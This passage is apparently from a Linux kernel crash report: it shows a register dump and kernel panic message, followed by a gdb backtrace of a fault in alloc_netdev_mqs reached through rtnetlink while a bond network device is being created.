[    4.071247] RAX: ffff888100000001 RBX: 0000000000000010 RCX: 0000000000000003
[    4.071856] RDX: 0000000000000001 RSI: ffff88810600fce0 RDI: ffff8881061a5000
[    4.072580] RBP: 0000000000000000 R08: 0000000000000000 R09: 0000000000000000
[    4.073225] R10: 00007ffffffff000 R11: 000000007ffff000 R12: ffff88810600fcc0
[    4.073947] R13: ffff8881061a5000 R14: ffff888104e5f000 R15: 0000000000000000
[    4.074598] FS:  00000000336cf480(0000) GS:ffff88811c400000(0000) knlGS:0000000000000000
[    4.075312] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    4.075836] CR2: ffff8880ffffffd7 CR3: 0000000105ba8003 CR4: 0000000000370ef0
[    4.076476] Kernel panic - not syncing: Fatal exception
[    4.076853] Kernel Offset: disabled

```


```
#0  alloc_netdev_mqs (sizeof_priv=0x5d0, name=0xffffc900007df9e8 "bond%d", name_assign_type=0x1, setup=0xffffffff81b6ff90 <bond_setup>, txqs=txqs@entry=0x10, rxqs=0x10)
    at net/core/dev.c:10661
#1  0xffffffff81ef1e46 in rtnl_create_link (net=0xffffffff845da700 <init_net>, ifname=ifname@entry=0xffffc900007df9e8 "bond%d", name_assign_type=<optimized out>,
    ops=ops@entry=0xffffffff83b86f00 <bond_link_ops>, tb=tb@entry=0xffff888106190000, extack=extack@entry=0xffffc900007dfb20) at net/core/rtnetlink.c:3263
#2  0xffffffff81ef6c12 in rtnl_newlink_create (extack=0xffffc900007dfb20, data=0xffff8881061901f0, tb=0xffff888106190000, ops=0xffffffff83b86f00 <bond_link_ops>, ifm=0xffff888106163c10,
    skb=0xffff8881060f4c00) at net/core/rtnetlink.c:3380
#3  __rtnl_newlink (skb=skb@entry=0xffff8881060f4c00, nlh=nlh@entry=0xffff888106163c00, tbs=tbs@entry=0xffff888106190000, extack=extack@entry=0xffffc900007dfb20) at net/core/rtnetlink.c:3610
#4  0xffffffff81ef6f13 in rtnl_newlink (skb=0xffff8881060f4c00, nlh=0xffff888106163c00, extack=0xffffc900007dfb20) at net/core/rtnetlink.c:3623
#5  0xffffffff81ef3a5b in rtnetlink_rcv_msg (skb=0xffff8881060f4c00, nlh=0xffff888106163c00, extack=0xffffc900007dfb20) at net/core/rtnetlink.c:6121
#6  0xffffffff81f79dbe in netlink_rcv_skb (skb=0xffff8881060f4c00, cb=0xffffffff81ef3910 <rtnetlink_rcv_msg>) at net/netlink/af_netlink.c:2508
#7  0xffffffff81f791d7 in netlink_unicast_kernel (ssk=0xffff88811c45eb40, skb=0xffff8881060f4c00, sk=0xffff8881002c1800) at net/netlink/af_netlink.c:1326
#8  netlink_unicast (ssk=ssk@entry=0xffff888106190800, skb=skb@entry=0xffff8881060f4c00, portid=portid@entry=0x0, nonblock=<optimized out>) at net/netlink/af_netlink.c:1352
#9  0xffffffff81f79570 in netlink_sendmsg (sock=<optimized out>, msg=0xffffc900007dfe58, len=<optimized out>) at net/netlink/af_netlink.c:1874
#10 0xffffffff81eb24bc in sock_sendmsg_nosec (msg=0xffffc900007dfe58, sock=0x5d0) at net/socket.c:718
#11 __sock_sendmsg (sock=0x5d0, msg=0xffffc900007dfe58) at net/socket.c:730
#12 0xffffffff81eb2832 in ____sys_sendmsg (sock=sock@entry=0xffff88810232cd00, msg_sys=msg_sys@entry=0xffffc900007dfe58, flags=<optimized out>, flags@entry=0x0,
    used_address=used_address@entry=0x0 <fixed_percpu_data>, allowed_msghdr_flags=allowed_msghdr_flags@entry=0x0) at net/socket.c:2514
#13 0xffffffff81eb5cfa in ___sys_sendmsg (sock=sock@entry=0xffff88810232cd00, msg=msg@entry=0x20000040, msg_sys=msg_sys@entry=0xffffc900007dfe58, flags=flags@entry=0x0,
    used_address=used_address@entry=0x0 <fixed_percpu_data>, allowed_msghdr_flags=allowed_msghdr_flags@entry=0x0) at net/socket.c:2568
#14 0xffffffff81eb5e06 in __sys_sendmsg (fd=<optimized out>, msg=0x20000040, flags=0x0, forbid_cmsg_compat=<optimized out>) at net/socket.c:2597
#15 0xffffffff822bd2de in do_syscall_x64 (nr=<optimized out>, regs=0xffffc900007dff58) at arch/x86/entry/common.c:51
#16 do_syscall_64 (regs=0xffffc900007dff58, nr=<optimized out>) at arch/x86/entry/common.c:81
#17 0xffffffff82400126 in entry_SYSCALL_64 () at arch/x86/entry/entry_64.S:121
```